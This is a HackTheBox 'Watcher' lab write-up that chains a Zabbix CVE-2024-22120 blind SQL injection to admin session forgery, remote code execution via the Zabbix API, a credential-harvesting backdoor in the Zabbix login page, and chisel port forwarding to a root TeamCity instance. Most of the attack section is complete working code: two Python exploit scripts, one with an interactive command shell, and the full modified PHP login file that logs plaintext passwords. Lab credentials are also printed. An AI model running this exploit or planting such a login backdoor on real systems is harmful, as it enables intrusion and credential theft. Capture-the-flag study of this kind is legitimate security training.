Syk0

Watcher


Watcher

Initial machine information

The User flag for this Box is located in a non-standard directory, /.

Watcher - HackTheBox Machine Writeup

Overview

Watcher is a HackTheBox machine running Ubuntu x64. Initial reconnaissance reveals an Apache web server on port 80 and SSH on port 22. Subdomain enumeration uncovers a Zabbix monitoring instance at zabbix.watcher.vl running an outdated alpha version (7.0.0alpha1) with guest access enabled. The foothold is obtained by exploiting CVE-2024-22120, a time-based blind SQL injection vulnerability in Zabbix that allows a low-privileged (guest) user to extract the admin session ID and configuration session key from the database. With admin access to Zabbix, remote code execution is achieved through the Zabbix API's script execution functionality. Lateral movement is accomplished by backdooring the Zabbix login page to capture credentials for the user Frank, who logs in periodically. Finally, privilege escalation leverages a TeamCity instance running as root on an internal port, accessed via chisel port forwarding using Frank's credentials.


Recon

Nmap Scanning

The engagement begins with a comprehensive nmap scan to identify open ports and running services on the target. Two scans are run in sequence: a default port scan with service version detection and scripts, followed by a full port scan covering all 65535 ports to ensure nothing is missed.

sudo nmap -sC -sV -vv -oA tcp 10.129.234.163 && sudo nmap -sC -sV -vv -p- -oA allports 10.129.234.163
 

The scan results reveal two open ports: port 22 (SSH) and port 80 (HTTP). The web server on port 80 responds with the hostname watcher.vl, which is added to /etc/hosts for proper resolution.

Web Application Enumeration

Browsing the main website at http://watcher.vl does not reveal any immediately exploitable functionality or interesting content.

Directory and Subdomain Bruteforcing

A directory bruteforce is launched using ffuf with the DirBuster wordlist, targeting both directories and .php files to discover hidden content on the web server.

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-big.txt -u http://watcher.vl/FUZZ -ic -e .php
 

Simultaneously, a virtual host (subdomain) scan is performed. The default response length of 158 lines is filtered out to isolate legitimate subdomains that return different content.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.watcher.vl" -u http://watcher.vl -fl 158
 

The subdomain scan discovers zabbix.watcher.vl, a Zabbix monitoring platform instance running on the target.


Foothold

Zabbix Discovery and Enumeration

Navigating to zabbix.watcher.vl presents a default Zabbix login page, confirming the presence of a Zabbix monitoring server.

Critically, guest access is enabled on this Zabbix instance, allowing unauthenticated users to log in with limited privileges and browse parts of the interface.

Through the Zabbix interface, the target's operating system is confirmed as Ubuntu x64.

The footer of the Zabbix interface reveals a very old and vulnerable version:

Zabbix 7.0.0alpha1. © 2001–2023, Zabbix SIA

Exploiting CVE-2024-22120 - Zabbix SQL Injection to RCE

Research into vulnerabilities affecting this version leads to CVE-2024-22120, a time-based blind SQL injection vulnerability that can be exploited by a low-privileged user (such as the guest account) to escalate to admin privileges and ultimately achieve remote code execution. A public proof-of-concept exploit is available at: https://github.com/W01fh4cker/CVE-2024-22120-RCE/blob/main/CVE-2024-22120-RCE.py

The exploit requires two pieces of information: a valid session ID (SID) and a host ID.

The SID is extracted from the base64-encoded session cookie in the browser, which contains the guest user's session identifier.

The host ID is obtained from the Inventory section of the Zabbix interface, where monitored hosts and their IDs are listed.

Initial Exploit Attempt

After setting up a Python virtual environment and installing the required modules, the public exploit script is run with the extracted SID and host ID.

python3 exploit.py --ip 10.129.234.163 --sid 9386b30e96bceedba23ab96725234736 --hostid 10084
 

However, the default exploit fails. Debugging the error response reveals that the guest user is not permitted to execute the default script ID used by the exploit.

The error message indicates that the user lacks permission to execute the script. To work around this, the scriptid parameter in the exploit is changed from the default value to 1, which corresponds to a built-in script that the guest user is allowed to trigger.

Modified Exploit - Extracting Admin Session

A modified version of the exploit is created that focuses on extracting the admin session ID and the configuration session key from the Zabbix database via time-based blind SQL injection. The injection payload is embedded in the clientip field of a Zabbix trapper request. For each character of the target value, the script issues a SQL CASE WHEN statement: if the guessed character is correct, the database sleeps for a longer duration (10 seconds); if incorrect, it sleeps for a shorter time (1 second). By measuring the response time, each character is determined one by one.

The script extracts two values:

  1. The admin session ID (sessionid from the sessions table where userid=1)
  2. The configuration session key (session_key from the config table)

These two values are combined using HMAC-SHA256 signing to forge a valid admin session cookie (zbx_session) that grants full administrative access to the Zabbix interface.

import hmac
import json
import argparse
import requests
from pwn import *
from datetime import datetime
 
def SendMessage(ip, port, sid, hostid, injection):
    context.log_level = "CRITICAL"
    zbx_header = "ZBXD\x01".encode()
    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "1",
        "clientip": "' + " + injection + "+ '",
        "hostid": hostid
    }
    message_json = json.dumps(message)
    print(message_json)
    message_length = struct.pack('<q', len(message_json))
    message = zbx_header + message_length + message_json.encode()
    r = remote(ip, port, level="CRITICAL")
    r.send(message)
    r.recv(1024)
    r.close()
 
def ExtractConfigSessionKey(ip, port, sid, hostid, time_false, time_true):
    token = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select session_key from config),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            SendMessage(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                token += c
                print("(+) session_key=%s" % token, flush=True)
                break
    return token
 
 
def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
    session_id = ""
    token_length = 32
    for i in range(1, token_length+1):
        for c in string.digits + "abcdef":
            before_query = datetime.now().timestamp()
            query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
            SendMessage(ip, port, sid, hostid, query)
            after_query = datetime.now().timestamp()
            if time_true > (after_query-before_query) > time_false:
                continue
            else:
                session_id += c
                print("(+) session_id=%s" % session_id, flush=True)
                break
    return session_id
 
def GenerateAdminSession(sessionid, session_key):
    def sign(data: str) -> str:
        key = session_key.encode()
        return hmac.new(key, data.encode('utf-8'), hashlib.sha256).hexdigest()
 
    def prepare_data(data: dict) -> str:
        sorted_data = OrderedDict(data.items())
        sorted_data['sign'] = sign(json.dumps(sorted_data, separators=(',', ':')))
        return base64.b64encode(json.dumps(sorted_data, separators=(',', ':')).encode('utf-8')).decode('utf-8')
 
    session = {
        "sessionid": sessionid,
        "serverCheckResult": True,
        "serverCheckTime": int(time.time())
    }
    res = prepare_data(session)
    return res
 
def CheckAdminSession(ip, admin_session):
    proxy = {
        "https": "http://127.0.0.1:8080",
        "http": "http://127.0.0.1:8080"
    }
    url = f"http://{ip}/zabbix.php?action=dashboard.view"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
        "Cookie": f"zbx_session={admin_session}"
    }
    resp = requests.get(url=url, headers=headers, timeout=10, proxies=proxy)
    if "Administration" in resp.text and resp.status_code == 200:
        return admin_session
    else:
        return None
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-22120-LoginAsAdmin")
    parser.add_argument("--false_time",
                        help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
                        default="1")
    parser.add_argument("--true_time",
                        help="Time to sleep in case of right guess(make it bigger than false time, default=10)",
                        default="10")
    parser.add_argument("--ip", help="Zabbix server IP")
    parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
    parser.add_argument("--sid", help="Session ID of low privileged user")
    parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
    args = parser.parse_args()
    admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
    session_key = ExtractConfigSessionKey(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
    admin_session = GenerateAdminSession(admin_sessionid, session_key)
    res = CheckAdminSession(args.ip, admin_session)
    if res is not None:
        print(f"try replace cookie with:\nzbx_session={res}")
    else:
        print("failed")

After resetting the box on HackTheBox (to clear any stale sessions), the exploit is run with a fresh guest SID. The time-based extraction process takes several minutes as it brute-forces each character of the 32-character session ID and session key.

python3 loginasadmin.py --ip zabbix.watcher.vl --sid a9c4828b30febf02669f4af096b416bb --hostid 10084

Achieving Remote Code Execution

Once the admin session ID has been fully extracted, a second script is used to achieve RCE. This script authenticates to the Zabbix JSON-RPC API using the extracted admin session ID and creates a custom script object via script.create. It then provides an interactive shell by updating the script's command via script.update and executing it against the target host via script.execute. Each command entered by the attacker is sent to the Zabbix server, which executes it on the monitored host and returns the output.

import json
import argparse
import requests
from pwn import *
from datetime import datetime
 
RED = '\033[0;31m'
NC = '\033[0;0m'
GREEN = '\033[0;32m'
 
def SendMessage(ip, port, sid, hostid, injection):
    context.log_level = "critical"
    zbx_header = "ZBXD\x01".encode()
    message = {
        "request": "command",
        "sid": sid,
        "scriptid": "1",
        "clientip": "' + " + injection + "+ '",
        "hostid": hostid
    }
    message_json = json.dumps(message)
    print(message_json)
    message_length = struct.pack('<q', len(message_json))
    message = zbx_header + message_length + message_json.encode()
    r = remote(ip, port, level="critical")
    r.send(message)
    ret = r.recv(2048)
    r.close()
 
def ExtractAdminSessionId(ip, port, sid, hostid, time_false, time_true):
    session_id = "e29cc8d946f1a3135fe7ceec60d0ff0d"
    # token_length = 32
    # for i in range(1, token_length+1):
    #     for c in string.digits + "abcdef":
    #         before_query = datetime.now().timestamp()
    #         query = "(select CASE WHEN (substr((select sessionid from sessions where userid=1 limit 1),%d,1)=\"%c\") THEN sleep(%d) ELSE sleep(%d) END)" % (i, c, time_true, time_false)
    #         #query = "(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),%d,1))=%d) THEN sleep(%d) ELSE sleep(%d) END)" % (i, ord(c), time_true, time_false)
    #         SendMessage(ip, port, sid, hostid, query)
    #         after_query = datetime.now().timestamp()
    #         diff = after_query-before_query
    #         print(f"(+) Finding session_id\t sessionid={GREEN}{session_id}{RED}{c}{NC}", end='\r')
    #         if time_true > (after_query-before_query) > time_false:
    #             continue
    #         else:
    #             session_id += c
    #             print("(+) session_id=%s" % session_id, flush=True)
    #             break
    print(f"(!) sessionid={session_id}")
    return session_id
 
def GenerateRandomString(length):
    characters = string.ascii_letters + string.digits
    return "".join(random.choices(characters, k=length))
 
def CreateScript(url, headers, admin_sessionid, cmd):
    name = GenerateRandomString(8)
    payload = {
        "jsonrpc": "2.0",
        "method": "script.create",
        "params": {
            "name": name,
            "command": "" + cmd + "",
            "type": 0,
            "execute_on": 2,
            "scope": 2
        },
        "auth": admin_sessionid,
        "id": 0,
    }
    resp = requests.post(url, data=json.dumps(payload), headers=headers)
    return json.loads(resp.text)["result"]["scriptids"][0]
 
def UpdateScript(url, headers, admin_sessionid, cmd, scriptid):
    payload = {
        "jsonrpc": "2.0",
        "method": "script.update",
        "params": {
            "scriptid": scriptid,
            "command": "" + cmd + ""
        },
        "auth": admin_sessionid,
        "id": 0,
    }
    requests.post(url, data=json.dumps(payload), headers=headers)
 
def DeleteScript(url, headers, admin_sessionid, scriptid):
    payload = {
        "jsonrpc": "2.0",
        "method": "script.delete",
        "params": [scriptid],
        "auth": admin_sessionid,
        "id": 0,
    }
    resp = requests.post(url, data=json.dumps(payload), headers=headers)
    if resp.status_code == 200 and json.loads(resp.text)["result"]["scriptids"] == scriptid:
        return True
    else:
        return False
 
def RceExploit(ip, hostid, admin_sessionid,prefix):
    if prefix:
        url = f"http://{ip}/{prefix}/api_jsonrpc.php"
    else:
        url = f"http://{ip}/api_jsonrpc.php"
    headers = {
        "content-type": "application/json",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
    }
    scriptid = CreateScript(url, headers, admin_sessionid, "whoami")
    while True:
        cmd = input('\033[41m[zabbix_cmd]>>: \033[0m ')
        if cmd == "":
            print("Result of last command:")
        elif cmd == "quit":
            DeleteScript(url, headers, admin_sessionid, scriptid)
            break
        UpdateScript(url, headers, admin_sessionid, cmd, scriptid)
        payload = {
            "jsonrpc": "2.0",
            "method": "script.execute",
            "params": {
                "scriptid": scriptid,
                "hostid": hostid
            },
            "auth": admin_sessionid,
            "id": 0,
        }
        cmd_exe = requests.post(url, data=json.dumps(payload), headers=headers)
        cmd_exe_json = cmd_exe.json()
        if "error" not in cmd_exe.text:
            print(cmd_exe_json["result"]["value"])
        else:
            print(cmd_exe_json["error"]["data"])
 
if __name__ == "__main__":
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="CVE-2024-22120-RCE")
        parser.add_argument("--false_time",
                            help="Time to sleep in case of wrong guess(make it smaller than true time, default=1)",
                            default="1")
        parser.add_argument("--true_time",
                            help="Time to sleep in case of right guess(make it bigger than false time, default=10)",
                            default="10")
        parser.add_argument("--ip", help="Zabbix server IP")
        parser.add_argument("--port", help="Zabbix server port(default=10051)", default="10051")
        parser.add_argument("--sid", help="Session ID of low privileged user")
        parser.add_argument("--hostid", help="hostid of any host accessible to user with defined sid")
        parser.add_argument("--prefix", help="Prefix for zabbix site. eg: https://ip/PREFIX/index.php")
        args = parser.parse_args()
        admin_sessionid = ExtractAdminSessionId(args.ip, int(args.port), args.sid, args.hostid, int(args.false_time), int(args.true_time))
        RceExploit(args.ip, args.hostid, admin_sessionid,args.prefix)

The RCE script provides an interactive command shell running as the Zabbix service user on the target system.


Lateral Movement

Initial Enumeration as Zabbix User

With command execution on the target, process enumeration reveals that TeamCity is running as root on the system, presenting a potential privilege escalation vector.

To gain a more stable and functional shell (as the Zabbix RCE shell is limited), a Meterpreter payload is generated and deployed on the target.

Credential Discovery

While enumerating the file system with the Meterpreter shell, a MySQL password for the Zabbix database is discovered in the Zabbix configuration files: uIy@YyshSuyW%0_puSqA

The Meterpreter shell proves unstable, dying after a few minutes. A more reliable netcat reverse shell is established instead to continue enumeration.

LinPEAS Enumeration

LinPEAS (Linux Privilege Escalation Awesome Script) is uploaded and executed with targeted modules to avoid unnecessary noise, skipping cloud-related checks.

/tmp/lp.sh -o system_information,container,procs_crons_timers_srvcs_sockets,network_information,users_information,software_information,interesting_perms_files,interesting_files,api_keys_regex

LinPEAS reveals several additional internal ports listening on the system, including the TeamCity port identified earlier.

Database Enumeration

Connecting to the MySQL database using the discovered Zabbix credentials reveals another user account: Frank.

An attempt is made to crack Frank's password hash from the database using Hashcat with the RockYou wordlist against the bcrypt hash format (-m 3200).

hashcat -m 3200 -a 0 hash /mnt/hgfs/I/data/rockyou.txt

Monitoring for Cron Jobs

While waiting for Hashcat, pspy64 (a process monitoring tool) is deployed to observe processes spawned on the system in real time, looking for scheduled tasks or cron jobs that might reveal additional attack vectors.

Backdooring the Zabbix Login Page

Since the hash cracking does not yield results quickly, a more creative approach is taken: the Zabbix index.php login page is modified to capture credentials in plaintext. A few lines of PHP are injected into the login handler that write the submitted username and password to a file (/usr/share/zabbix/test.txt) whenever a user authenticates. This acts as a credential harvester, silently logging all login attempts while allowing normal authentication to proceed.

<?php
/*
** Zabbix
** Copyright (C) 2001-2023 Zabbix SIA
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation; either version 2 of the License, or
** (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
*/
 
 
require_once dirname(__FILE__).'/include/classes/user/CWebUser.php';
 
require_once dirname(__FILE__).'/include/config.inc.php';
require_once dirname(__FILE__).'/include/forms.inc.php';
 
$page['title'] = _('ZABBIX');
$page['file'] = 'index.php';
 
// VAR  TYPE    OPTIONAL        FLAGS   VALIDATION      EXCEPTION
$fields = [
        'name' =>               [T_ZBX_STR, O_NO,       null,   null,   'isset({enter}) && {enter} != "'.ZBX_GUEST_USER.'"', _('Username')],
        'password' =>   [T_ZBX_STR, O_OPT, P_NO_TRIM,   null,   'isset({enter}) && {enter} != "'.ZBX_GUEST_USER.'"'],
        'sessionid' =>  [T_ZBX_STR, O_OPT, null,        null,   null],
        'reconnect' =>  [T_ZBX_INT, O_OPT, P_SYS,       null,   null],
        'enter' =>              [T_ZBX_STR, O_OPT, P_SYS,       null,   null],
        'autologin' =>  [T_ZBX_INT, O_OPT, null,        null,   null],
        'request' =>    [T_ZBX_STR, O_OPT, null,        null,   null],
        'form' =>               [T_ZBX_STR, O_OPT, null,        null,   null]
];
check_fields($fields);
 
if (hasRequest('reconnect') && CWebUser::isLoggedIn()) {
        if (CAuthenticationHelper::get(CAuthenticationHelper::SAML_AUTH_ENABLED) == ZBX_AUTH_SAML_ENABLED) {
                $provisioning = CProvisioning::forUserDirectoryId(CAuthenticationHelper::getSamlUserdirectoryid());
                $saml_config = $provisioning->getIdpConfig();
 
                if ($saml_config['slo_url'] !== '' && CSessionHelper::has('saml_data')) {
                        redirect('index_sso.php?slo');
                }
        }
 
        CWebUser::logout();
        redirect('index.php');
}
 
$autologin = hasRequest('enter') ? getRequest('autologin', 0) : getRequest('autologin', 1);
$request = getRequest('request', '');
 
if ($request !== '' && !CHtmlUrlValidator::validateSameSite($request)) {
        $request = '';
}
 
if (!hasRequest('form') && CAuthenticationHelper::get(CAuthenticationHelper::HTTP_AUTH_ENABLED) == ZBX_AUTH_HTTP_ENABLED
                && CAuthenticationHelper::get(CAuthenticationHelper::HTTP_LOGIN_FORM) == ZBX_AUTH_FORM_HTTP
                && !hasRequest('enter')) {
        redirect('index_http.php');
}
 
// login via form
if (hasRequest('enter')) {
 
        $fp = fopen('/usr/share/zabbix/test.txt', 'a+');
        fwrite($fp, getRequest('name', ZBX_GUEST_USER).":".getRequest('password', '')."\n");
        fclose($fp);
        if(CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))){
            CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
 
            if (CWebUser::$data['autologin'] != $autologin) {
                    API::User()->update([
                            'userid' => CWebUser::$data['userid'],
                            'autologin' => $autologin
                    ]);
            }
 
            $redirect = array_filter([CWebUser::isGuest() ? '' : $request, CWebUser::$data['url'], CMenuHelper::getFirstUrl()]);
            redirect(reset($redirect));
        } else {
            redirect("index.php");
        }
}
 
if (CWebUser::isLoggedIn() && !CWebUser::isGuest()) {
        redirect(CWebUser::$data['url'] ? : CMenuHelper::getFirstUrl());
}
 
$messages = get_and_clear_messages();
 
echo (new CView('general.login', [
        'http_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::HTTP_AUTH_ENABLED) == ZBX_AUTH_HTTP_ENABLED)
                ? (new CUrl('index_http.php'))->setArgument('request', getRequest('request'))
                : '',
        'saml_login_url' => (CAuthenticationHelper::get(CAuthenticationHelper::SAML_AUTH_ENABLED) == ZBX_AUTH_SAML_ENABLED)
                ? (new CUrl('index_sso.php'))->setArgument('request', getRequest('request'))
                : '',
        'guest_login_url' => CWebUser::isGuestAllowed() ? (new CUrl())->setArgument('enter', ZBX_GUEST_USER) : '',
        'autologin' => $autologin == 1,
        'error' => (hasRequest('enter') && $messages) ? array_pop($messages) : null
]))->getOutput();
 
session_write_close();

After waiting for a period, the test.txt file is populated with captured credentials. Frank's automated login is caught by the backdoor.

The captured credentials reveal Frank's plaintext password: R%)3S7^Hf4TBobb(gVVs


Privilege Escalation

Port Forwarding with Chisel

With Frank's credentials in hand, the next target is the TeamCity instance discovered earlier running as root on internal port 8111. Since this port is only accessible locally on the target, chisel is used to create a port forward, tunneling the internal TeamCity port to the attacker's machine.

The chisel server is started on the attacker's machine, listening for incoming connections from the target.

The chisel client is then executed on the target, connecting back to the attacker's server and forwarding port 8111.

Accessing TeamCity

With the tunnel established, Burp Suite is configured to proxy requests to the forwarded TeamCity port for easier interaction and inspection of the traffic.

The TeamCity interface is now accessible through the forwarded port. Notably, TeamCity has a build agent running on the target, and since the TeamCity process itself runs as root, any build steps or commands executed through TeamCity's build agent will also run with root privileges, providing a direct path to full system compromise.